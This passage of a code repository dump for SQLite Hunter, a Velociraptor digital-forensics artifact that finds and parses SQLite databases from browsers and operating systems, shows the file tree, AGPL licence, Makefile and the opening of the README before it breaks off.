├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── api ├── api.go └── spec.go ├── bin └── main.go ├── compile ├── artifact.go ├── compiler.go └── utils.go ├── config.yaml ├── definitions ├── Apple_iMessageChat.yaml ├── ChromiumBrowser_AutofillProfiles.yaml ├── ChromiumBrowser_Bookmarks.yaml ├── ChromiumBrowser_Cookies.yaml ├── ChromiumBrowser_Extensions.yaml ├── ChromiumBrowser_Favicons.yaml ├── ChromiumBrowser_HistoryVisits.yaml ├── ChromiumBrowser_Media.yaml ├── ChromiumBrowser_NetworkActionPredictor.yaml ├── ChromiumBrowser_Notifications.yaml ├── ChromiumBrowser_OmniboxShortcuts.yaml ├── ChromiumBrowser_Sessions.yaml ├── ChromiumBrowser_TopSites.yaml ├── EdgeBrowser_Autofill.yaml ├── EdgeBrowser_NavigationHistory.yaml ├── Firefox_Bookmarks.yaml ├── Firefox_Cookies.yaml ├── Firefox_Downloads.yaml ├── Firefox_Favicons.yaml ├── Firefox_FormHistory.yaml ├── InternetExplorer_WebCacheV01.yaml ├── MacOS_Applications_Cache.yaml ├── MacOS_NetworkUsage.yaml ├── MacOS_Notes.yaml ├── MacOS_XProtect_Detections.yaml ├── Windows_ActivitiesCache.yaml ├── Windows_SearchService.yaml ├── globs.go └── load.go ├── go.mod ├── go.sum ├── output ├── .keep └── SQLiteHunter.yaml ├── test_files ├── Chrome │ └── Preferences ├── Edge │ └── WebAssistDatabase └── Firefox │ └── firefox.sqlite ├── testing ├── .gitignore ├── edge.go ├── fixtures │ ├── TestArtifact.golden │ └── TestEdgeWebAssistDatabase.golden ├── golden.go ├── sqlitehunter_test.go ├── test.config.yaml └── testcases │ ├── chrome_notifications.in.yaml │ ├── chrome_notifications.out.yaml │ ├── edge_webassist.in.yaml │ └── edge_webassist.out.yaml └── utils └── json.go /.gitignore: -------------------------------------------------------------------------------- 1 | velociraptor* 2 | sqlitehunter_compiler* 3 | datastore -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: build windows 2 | 3 | build: 4 | go build -o sqlitehunter_compiler ./bin/*.go 5 | 6 | windows: 7 | GOOS=windows GOARCH=amd64 \ 8 | go build -o sqlitehunter_compiler.exe ./bin/*.go 9 | 10 | compile: FORCE 11 | ./sqlitehunter_compiler -config ./config.yaml -definition_directory ./definitions > output/SQLiteHunter.yaml 12 | 13 | golden: compile 14 | ./testing/velociraptor.bin --definitions ./output --config ./testing/test.config.yaml golden --env testFiles=`pwd`/test_files ./testing/testcases -v --filter=${GOLDEN} 15 | 16 | 17 | FORCE: 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQLite Hunter 2 | 3 | This repository maintains the source for the 4 | `Generic.Forensic.SQLiteHunter` VQL artifact. This artifact is 5 | designed to be an efficient and mostly automated artifact to analyze 6 | and collect SQLite based artifacts from various applications on the 7 | endpoint. 8 | 9 | The produced artifact is self contained and can be loaded into 10 | Velociraptor (https://docs.velociraptor.app) to hunt quickly and 11 | efficiently across a large number of endpoints. 12 | 13 | SQLite has become the de-facto standard for storing application data, 14 | in many types of applications: 15 | 16 | - Web Browsers, e.g. Chrome, Firefox, Opera, Edge 17 | - Operating Systems 18 | - Various applications, such as iMessage, TCC etc 19 | 20 | ## How do we hunt for SQLite files? 21 | 22 | Compiling this repository will produce a single artifact called 23 | `Generic.Forensic.SQLiteHunter` with multiple sources. Each artifact 24 | source targets a single aspect of a single application and is applied 25 | to a single SQLite file. 26 | 27 | Since SQLite files can be used for many different applications we use 28 | three phases; Collection of SQLite files, Identification of the SQLite 29 | application based on the file, and finally analysis of the file: 30 | 31 | 1. In the first phase we collect prospective SQLite files for the 32 | desired targets based on glob expressions to quickly locate the 33 | usual places these are stored. For example, looking for Chrome 34 | Browser History files typically these are stored in 35 | `C:\Users\*\AppData\{Roaming,Local}\Google\Chrome\User Data`. 36 | 37 | By employing targeted glob expressions we can quickly locate 38 | relevant files. However the user can also provide a generic glob 39 | expression for us to use other files (e.g. files collected by some 40 | other means off a different system). 41 | 42 | 2. Since different applications use SQLite in different ways, we want 43 | to have specialized treatment for each application type - 44 | extracting relevant data and potentially enriching it for enhanced 45 | analysis. 46 | 47 | Looking at the prospective files found in stage 1 we need to 48 | classify each file to a specific type. Each artifact source targets 49 | a specific application and SQLite file. In order to identify the 50 | file the source runs the `SQLiteIdentifyQuery` on the SQLite file 51 | (as described below). 52 | 53 | In the common mode we can use the filename itself to quickly 54 | classify the file this is a shortcut to speed things up. If the 55 | files could have been renamed, you can specify `MatchFilename` to 56 | be false in which case only the `SQLiteIdentifyQuery` method will be 57 | used (this will be slower). 58 | 59 | 3. Once a file is identified as belonging to a particular application, 60 | the artifact source can run the specified SQL on the file. Since 61 | pure SQL is very limited in the type of data it can use and it is 62 | also harder to use, the output is enriched further via a VQL query. 63 | 64 | Being able to apply VQL to the output of the SQL query makes 65 | crafting the SQL much easier (for example timestamp conversions are 66 | much easier in VQL than SQL). Additionally the VQL can be used to 67 | enrich the data from other sources (e.g. geoip etc). 68 | 69 | ## How is this repository organized? 70 